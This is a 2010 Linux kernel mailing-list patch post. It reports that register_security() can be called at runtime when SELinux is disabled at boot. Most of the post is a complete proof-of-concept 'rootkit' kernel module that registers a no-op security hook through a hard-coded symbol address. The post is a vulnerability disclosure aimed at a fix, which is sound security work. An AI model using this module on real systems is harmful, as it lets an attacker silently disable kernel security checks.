[PATCH] Security: Add __init to register_security to disable load a security module on runtime

From: wzt . wzt
Date: Fri Feb 26 2010 - 09:56:40 EST


LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time.
but in security/security.c:
int register_security(struct security_operations *ops)
{
...
if (security_ops != &default_security_ops)
return -EAGAIN;
...
}
if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled,
other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to
default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust
security module. For example:

disable selinux on boot time(selinux=0).

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/list.h>
#include <linux/security.h>

extern int register_security(struct security_operations *ops);
int (*new_register_security)(struct security_operations *ops);

int rootkit_bprm_check_security(struct linux_binprm *bprm)
{
return 0;
}

struct security_operations rootkit_ops = {
.bprm_check_security = rootkit_bprm_check_security,
};

static int rootkit_init(void)
{
printk("Load LSM rootkit module.\n");

/* cat /proc/kallsyms | grep register_security */
new_register_security = 0xc0756689;
if (new_register_security(&rootkit_ops)) {
printk("Can't register rootkit module.\n");
return 0;
}
printk("Register rootkit module ok.\n");

return 0;
}

static void rootkit_exit(void)
{
printk("Unload LSM rootkit module.\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
